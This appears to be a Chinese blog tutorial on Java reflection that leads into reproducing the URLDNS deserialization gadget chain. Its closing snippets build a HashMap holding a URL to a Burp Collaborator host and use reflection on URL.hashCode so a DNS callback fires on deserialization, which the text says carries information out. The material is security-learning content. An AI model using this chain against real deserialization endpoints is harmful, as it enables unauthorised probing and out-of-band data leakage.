URLDNS链的调试及反射

反射的各种

我们首先编写一个Person类,分别设置public和private类型的属性和方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Map;

public class Person implements Serializable{
// public transient String name;有这个“transient”标识的成员变量不参与序列化
public String name;
private int age;
public Person(){

}

public Person(String name ,int age){
this.age=age;
this.name=name;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + "\'" +
",age=" + age +
"}";
}
private void action(String act){
System.out.println(act);
}
}

那么想必我们最想做的就是通过反射去动态的改变这个类中的各个属性或者动态的调用方法吧,那么我们就需要用到反射去解决,让我们编写一个ReflectionTest.java来实现我们想做的事吧

我们第一步是想改变Person类的各个属性,例如public的name以及private的age,那么我们首先是需要获取Person类的实例化对象的,否则这个类还未加载,我们就不可能通过反射去动态的修改这个类里面的东西了,在这里,我们有可能会用到两个函数,getConstructor和newInstance,示例代码如下:

1
2
3
4
5
6
public class ReflectionTest {
public static void main(String[] args) throws Exception{
Person person = new Person();//获取到类的实例化对象
Class clazz = person.getClass();//获取类的原型类
}
}

对于这个Class这里我引用了廖雪峰网站的一些解释:

image-20231029203521937

因为我们将clazz接收了Person这个类在JVM中加载的Class实例,所以clazz中保存着Person类的所有信息,而因为我们有Person这个类的实例变量,所以我们采用第二种方法去获取它的Class实例,就这样,我们获取到了Person类的所有信息并将其保存在实例clazz中,之后我们就可以通过更改clazz去修改在这个类中加载的Person类中的信息。

在我们获取到了Person类中的所有信息后,我们如果需要对它进行修改(这个Person类是我们自己写的,所以其中的内容对我们来说是白盒,但如果我们只知道Person这个类名,那么我们应该如何获取它里面的一些信息呢),我们首先需要使用一些方法来获得它的字段(属性),这里会用到这几个方法:getField、getDeclaredField、getDeclaredFields、getFields前后两对的差距只是后者的返回值是数组,里面包含这所有字段的信息,而前者返回值则是单个的字段,所以前者是需要指明具体获取哪个字段的,如果是在黑盒的情况下,首先推荐使用后面两对去把它的所有字段全部读出来,再看看有没有能用到的,再使用前者去获取,那么是否有Declared有什么区别呢?这很容易可以知道,前者是获取public字段时使用的,而后者是在获取private字段时使用的,而后者通常会与setAccessible(true)一同使用,否则便会报错

于是我们将代码完善至这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class ReflectionTest {
public static void main(String[] args) throws Exception{
Person person = new Person();//获取到类的实例化对象
Class clazz = person.getClass();//获取类的原型类
Constructor personconstructor = clazz.getConstructor(String.class, int.class);
Person p = (Person) personconstructor.newInstance("fault",20);
Field[] personFields= clazz.getDeclaredFields();//out:public java.lang.String Person.name private int Person.age:会打印出包括private中的属性
Field[] personFields= clazz.getFields();//out : public java.lang.String Person.name:不会打印private属性
Field nameField = clazz.getField("name");
Field nameField_age = clazz.getDeclaredField("age");
nameField_age.setAccessible(true);
// for(Field f : personFields){
// System.out.println(f);
// }
nameField.set(p,"java");
nameField_age.set(p,114514);
System.out.println(nameField);
System.out.println(p);
}
}
//额对自己莫名其妙多出来的
// Constructor personconstructor = clazz.getConstructor(String.class, int.class);
// Person p = (Person) personconstructor.newInstance("fault",20);
//这两行代码做一个解释,如果我们对getConstructor这个方法进行跟进,会发现它的参数要求如下:
//getConstructor(Class<?>... parameterTypes)
//一个泛型的class以及它的参数类型,也就是所谓的函数签名(这个在重载时就已经会知道了)
//因为我们Person中有四个方法,但他们的区别是函数签名,那我们需要在getConstructor中输入参数类型就可以了,接下来再利用newInstance去获取实例对象就可以实现了

接下来我们如果想动态获取并调用它的方法,我们则会需要这些函数:getMethod,getMethods,getDeclaredMethod,getDeclaredMethods,它们的区别可以参考上一个getField它们之间的区别。

于是我们将代码完整的写出来是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import javax.accessibility.Accessible;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectionTest {
public static void main(String[] args) throws Exception{
Person person = new Person();
Class clazz = person.getClass();
//获取到类的原型


//获取实例化对象
Constructor personconstructor = clazz.getConstructor(String.class, int.class);
Person p = (Person) personconstructor.newInstance("fault",20);
// System.out.println(p);
//获取类里面属性
// Field[] personFields= clazz.getDeclaredFields();//out:public java.lang.String Person.name private int Person.age:会打印出包括private中的属性
// Field[] personFields= clazz.getFields();//out : public java.lang.String Person.name:不会打印private属性
// personFields.setAccessible(true); //
Field nameField = clazz.getField("name");
Field nameField_age = clazz.getDeclaredField("age");
nameField_age.setAccessible(true);
// for(Field f : personFields){
// System.out.println(f);
// }
nameField.set(p,"java");
nameField_age.set(p,114514);
// System.out.println(nameField);
// System.out.println(p);

//调用类里面的方法
//使用数组获取全部方法
// Method[] personMethods = clazz.getMethods();
// for(Method f : personMethods){
// System.out.println(f);
// }
//使用特定名字获取特定方法且公有
// Method personMethod = clazz.getMethod("action",String.class);//getMethod的参数类型是getMethod(String name, Class<?>... parameterTypes),所以需要声明参数类型
// personMethod.invoke(p,"fault");
//使用特定名字获取特定方法且私有
Method personPrivateMethod = clazz.getDeclaredMethod("action",String.class);
personPrivateMethod.setAccessible(true);
personPrivateMethod.invoke(p,"fault");
// System.out.println(personMethod);

}
}

接下来我们回到正题,URLDNS上,其实这个链子的原理很简单,就是在URL类中的hashcode方法中的

image-20231029211126905

handler.hashcode方法中有getHostAddress方法,它会触发DNS解析,于是我们可以利用这个解析,将信息外带。所以我们的目的就是触发这个方法,但前提是在反序列化的时候才触发,而非在序列化时就触发,在上图中我们可以看到,触发它的方式是hashcode==-1,如果我们单纯的使用如下代码:

在这里我们使用burpsuite进行模拟监听

1
2
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://z558pnxlaeaq562m58owyyob42atyi.oastify.com"),1);

这样如果我们在序列化时使用burpsuite监听,也会发现在序列化时就有了DNS请求,这样违背的我们的初衷,更会在一定程度上为我们造成干扰,于是我们寻找原因,发现是因为我们在hashMap方法里发现了hashCode方法,它也会进行DNS解析,所以我们一来不可以这样写,而来我们需要在put方法之前将hashcode改为非-1,因为我们如果继续跟进,会发现hashcode在初始化时就被初始化为了-1,我们如果要强制不让它进入hashcode方法,那我们就需要通过反射去动态的修改它的hashcode值,但因为它是private属性,我们对它的处理需要配合setAccessible和Declaired去获取和改变,代码如下:

1
2
3
4
5
6
      URL url = new URL("http://z558pnxlaeaq562m58owyyob42atyi.oastify.com"); //BurpSuite生成的监听DNS链接       
Class clazz = url.getClass();
Field urlhashcode = clazz.getDeclaredField("hashCode");//获取到hashcode值并赋值给urlhashcode这个变量
urlhashcode.setAccessible(true);
urlhashcode.set(url,0);//将它设置为0(即非-1值)
hashMap.put(url,1);//进行调用

接下来我们需要将hashcode再次设置为-1,这样我们在反序列化时,hashcode为-1,于是可以进入hashCode方法从而触发DNS解析),经过BurpSuite验证为真,于是我们复现完了URLDNS链